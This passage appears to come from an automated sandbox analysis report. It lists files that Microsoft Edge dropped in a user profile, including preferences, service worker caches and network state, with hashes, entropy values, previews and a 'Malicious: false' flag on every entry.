Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44cf3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.110620808011421
Encrypted:	false
SSDEEP:	192:stJkdpSsgdxaFvrE9kvse8SbV+FQBQAkUqPmYJ:stJQSskxCDjbGCQGQ
MD5:	79D7361D2BA152E027C2AEB68C3284F4
SHA1:	31B6997641441B6729170A3684C01D2BE303B799
SHA-256:	29117A291C2162E3B0C7A467D2134BC54F6C3DE09CF7F2EB379C042A4625B299
SHA-512:	8B24741A64A3D837A70D2E88783F9DC9E9C41FAFF640AA59ED76A095715FA5DCE4E61B5204849D2A2BC2F3EF436EBCA02F0BEED7EEDAB9E6556966D618DA6432
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c223.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.110620808011421
Encrypted:	false
SSDEEP:	192:stJkdpSsgdxaFvrE9kvse8SbV+FQBQAkUqPmYJ:stJQSskxCDjbGCQGQ
MD5:	79D7361D2BA152E027C2AEB68C3284F4
SHA1:	31B6997641441B6729170A3684C01D2BE303B799
SHA-256:	29117A291C2162E3B0C7A467D2134BC54F6C3DE09CF7F2EB379C042A4625B299
SHA-512:	8B24741A64A3D837A70D2E88783F9DC9E9C41FAFF640AA59ED76A095715FA5DCE4E61B5204849D2A2BC2F3EF436EBCA02F0BEED7EEDAB9E6556966D618DA6432
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558107812331288
Encrypted:	false
SSDEEP:	768:3zy0EHWxR7pLGLPOrW5w+If4Mv8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqqIcBPV4:3exHKHcPOrWa+IfBvu1jaXsNect4
MD5:	7F66EF3E6DDA71E6C204041F8C40EE70
SHA1:	836E792C045EDF7E69882E4163D706D267C73F9D
SHA-256:	9FC179DC4B6093360A793357980471AD3534BB145A1E8DF3D99D031175E8BBE3
SHA-512:	0544184CBEBD6C7859E3E9B1AB8D82A639506E7261F11BFDA140A5D548FDADA79FC39AE3B7DAE3AB76DB48388DF0594C5B1315168122B68247DD105FA1CD246E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40fac.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558107812331288
Encrypted:	false
SSDEEP:	768:3zy0EHWxR7pLGLPOrW5w+If4Mv8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqqIcBPV4:3exHKHcPOrWa+IfBvu1jaXsNect4
MD5:	7F66EF3E6DDA71E6C204041F8C40EE70
SHA1:	836E792C045EDF7E69882E4163D706D267C73F9D
SHA-256:	9FC179DC4B6093360A793357980471AD3534BB145A1E8DF3D99D031175E8BBE3
SHA-512:	0544184CBEBD6C7859E3E9B1AB8D82A639506E7261F11BFDA140A5D548FDADA79FC39AE3B7DAE3AB76DB48388DF0594C5B1315168122B68247DD105FA1CD246E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4436e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558107812331288
Encrypted:	false
SSDEEP:	768:3zy0EHWxR7pLGLPOrW5w+If4Mv8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPqqIcBPV4:3exHKHcPOrWa+IfBvu1jaXsNect4
MD5:	7F66EF3E6DDA71E6C204041F8C40EE70
SHA1:	836E792C045EDF7E69882E4163D706D267C73F9D
SHA-256:	9FC179DC4B6093360A793357980471AD3534BB145A1E8DF3D99D031175E8BBE3
SHA-512:	0544184CBEBD6C7859E3E9B1AB8D82A639506E7261F11BFDA140A5D548FDADA79FC39AE3B7DAE3AB76DB48388DF0594C5B1315168122B68247DD105FA1CD246E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376876796655368","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376876796655368","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.579820795366167
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgAL:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFW
MD5:	FA05B5D6F1251D3979CBC6280125213E
SHA1:	D6AC7F525AECA099003CEB0959D684ACD05FBB84
SHA-256:	D37A889E76BDCA0AD8344E4E4F238BC12EBF6962B345CEA5A7F6E87722B6B5ED
SHA-512:	A290CAD0B830EC703E723294A79BCF2329EC66CE6ACC4AD3B1A7423EA2CDE0A4D06922B2B3DD35DBBF8BC1D50D1A4BE57CAD0E4709F54FC1631A918361DABC4C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.386270146646575
Encrypted:	false
SSDEEP:	3072:nt3tz2opNxvwBz7up5KYL/SO4M78MpPAd+HgNr9IJ:Nvw94xL/L48v4/fc
MD5:	077D3455F0783A9035D8509A9CB6E7B3
SHA1:	D2A2639106584D8FA368497109E7CD90C707263C
SHA-256:	7D003D9FA5082798A61E649EAC966A9DE7605D827052CF9C1790BEFC30C8595B
SHA-512:	51E93D937AEE6E922A883744F072DE86D076A27707C710DA756E5E899F944DC5590D65CDD00EBA813D0048386C9719BF4D91FBCFD31AA1B20CCD3B6EE76C3EF8
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTp........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc..~+....module....Rc.L......define....Rb.p.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m."...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GshyXl/ly/l9/lxEYa/lygXKln:GshKmOvyQ+n
MD5:	5E0E2F43655E568D193DD3350AD41643
SHA1:	17D94D3154132CECBA0D840059AF6CE4782519B2
SHA-256:	BE35370411B233FD9C33AA4A1F9B005331DE4C230F78AB2638191A395D31E950
SHA-512:	5D0038FBFE906872B02BB3D7B82498671083B7D7A3313CD9F7C28CF685CF6C9A5B36890DB8989C3574BE4D7836481FD7BAB828F120A9C2A4BB6F72939F603DC8
Malicious:	false
Preview:	@...s.{.oy retne.........................X....,....................2./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GshyXl/ly/l9/lxEYa/lygXKln:GshKmOvyQ+n
MD5:	5E0E2F43655E568D193DD3350AD41643
SHA1:	17D94D3154132CECBA0D840059AF6CE4782519B2
SHA-256:	BE35370411B233FD9C33AA4A1F9B005331DE4C230F78AB2638191A395D31E950
SHA-512:	5D0038FBFE906872B02BB3D7B82498671083B7D7A3313CD9F7C28CF685CF6C9A5B36890DB8989C3574BE4D7836481FD7BAB828F120A9C2A4BB6F72939F603DC8
Malicious:	false
Preview:	@...s.{.oy retne.........................X....,....................2./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44a63.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GshyXl/ly/l9/lxEYa/lygXKln:GshKmOvyQ+n
MD5:	5E0E2F43655E568D193DD3350AD41643
SHA1:	17D94D3154132CECBA0D840059AF6CE4782519B2
SHA-256:	BE35370411B233FD9C33AA4A1F9B005331DE4C230F78AB2638191A395D31E950
SHA-512:	5D0038FBFE906872B02BB3D7B82498671083B7D7A3313CD9F7C28CF685CF6C9A5B36890DB8989C3574BE4D7836481FD7BAB828F120A9C2A4BB6F72939F603DC8
Malicious:	false
Preview:	@...s.{.oy retne.........................X....,....................2./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\67861688-26c6-4b2c-82eb-93408e687b1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d61d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b2dcd5b9-d1d7-46f8-9a65-9affdfe07dc4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d6cc04d3-9241-459d-9bb1-7903913a35b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ebbe7e33-1892-4322-b60a-248c3a376a66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ae5c247c-cebd-416b-9468-47d29e23dc2f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
